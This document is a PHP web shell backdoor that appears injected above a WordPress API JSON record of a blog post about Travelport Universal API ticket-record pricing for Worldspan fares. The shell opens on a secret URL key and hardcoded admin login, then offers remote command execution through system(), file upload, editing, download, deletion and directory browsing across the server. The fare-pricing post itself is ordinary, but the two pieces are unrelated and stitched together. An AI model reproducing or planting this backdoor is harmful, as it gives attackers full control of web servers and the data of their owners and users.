// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } // -------- MARK END -------- {"id":222,"date":"2018-03-16T17:15:34","date_gmt":"2018-03-16T08:15:34","guid":{"rendered":"http:\/\/uapi.ihavenomoney.co.kr\/?p=222"},"modified":"2018-03-22T17:24:49","modified_gmt":"2018-03-22T08:24:49","slug":"tr-transaction","status":"publish","type":"post","link":"https:\/\/uapi.ihavenomoney.co.kr\/?p=222","title":{"rendered":"TR transaction"},"content":{"rendered":"

 <\/p>\n

4P*PADT#BFK#FSR#CHX#TR#BO\r\n PNR PRICED ON 16MAR FOR TKTG ON 16MAR BY AGT-RS\/LHC\r\n* FARE SELECTED - SR\r\n* Q\/NONEND RFD KRW70000\/REB\/NOSH KRW50000\r\n  TRIP VALUE DATA EXISTS\r\nADT 01 TTL-KRW   310800  BF-KRW   226000  TAX-   84800\r\n\r\n  ICN HX   647 T  29AUG  645A OK T7KR11          29AUG29AUG 20K\r\nO HKG HX   646 T  01SEP  755P OK T7KR11          01SEP01SEP 20K\r\n  ICN\r\n TDTC- AKRA0683@IT\r\n SEL HX HKG103.73HX SEL103.73\r\n NUC207.46END ROE1089.32056 HX\r\n TX 28000BP 12300G3 16300HK 6200I5 22000YR\r\n><\/pre>\n
4P*PADT#BFK#FSR#CHX#BO\r\n PNR PRICED ON 16MAR FOR TKTG ON 16MAR BY AGT-RS\/LHC\r\n* FARE SELECTED - SR\r\n* Q\/NONEND RFD KRW70000\/REB\/NOSH KRW50000\r\n  TRIP VALUE DATA EXISTS\r\nADT 01 TTL-KRW   310800  BF-KRW   226000  TAX-   84800\r\n\r\n  ICN HX   647 T  29AUG  645A OK T7KR11          29AUG29AUG 20K\r\nO HKG HX   646 T  01SEP  755P OK T7KR11          01SEP01SEP 20K\r\n  ICN\r\n TDTC- AKRA0683@IT\r\n SEL HX HKG103.73HX SEL103.73\r\n NUC207.46END ROE1089.32056 HX\r\n TX 28000BP 12300G3 16300HK 6200I5 22000YR\r\n><\/pre>\n

Ticket Record is generated when a fare has been auto-priced(4P*) in 1P.\u00a0 As you can see from below, you still cannot physically \u201csuppress\u201d the TicketRecord but rather change its form. Therefore, kindly add this option your AirCreateReservation API as following:<\/p>\n

Worldspan and Axess fares can be stored in a PNR using Auto-Pricing (4P*), Ticket Record (4P*|TR), Stored Fare Quote (4PQ), and Pricing Instructions (4-PI).<\/p>\n

Note:<\/strong>\u00a0Pricing types of\u00a0TicketRecord\u00a0and PricingInstruction are not allowed in the same PNR.<\/p>\n

Universal API is not currently able to ticket PNRs that contain only Auto-Pricing fares. As a result, Universal API identifies the type of pricing in the PNR as either Ticket Record or Stored Fare.<\/p>\n

In Universal v32.0 and earlier, if a fare was stored as Auto-Pricing, all responses returned the\u00a0fare type<\/a>\u00a0as Ticket Record (PricingType=”TicketRecord”). In Universal v33.0 and greater, the response returns the fare type as either “TicketRecord” or “StoredFare<\/strong>“, based on the fare type.\u00a0Release 15.3<\/p>\n

Auto-Pricing fares are returned as PricingType=”StoredFare” if there is only one Auto-Pricing fare present in the PNR. Because Worldspan and Axess override the existing Stored Fare if another Stored Fare is added to the PNR, multiple fares must be returned as Ticket Records if they are in different pricing groups. For requests with multiple fares:<\/p>\n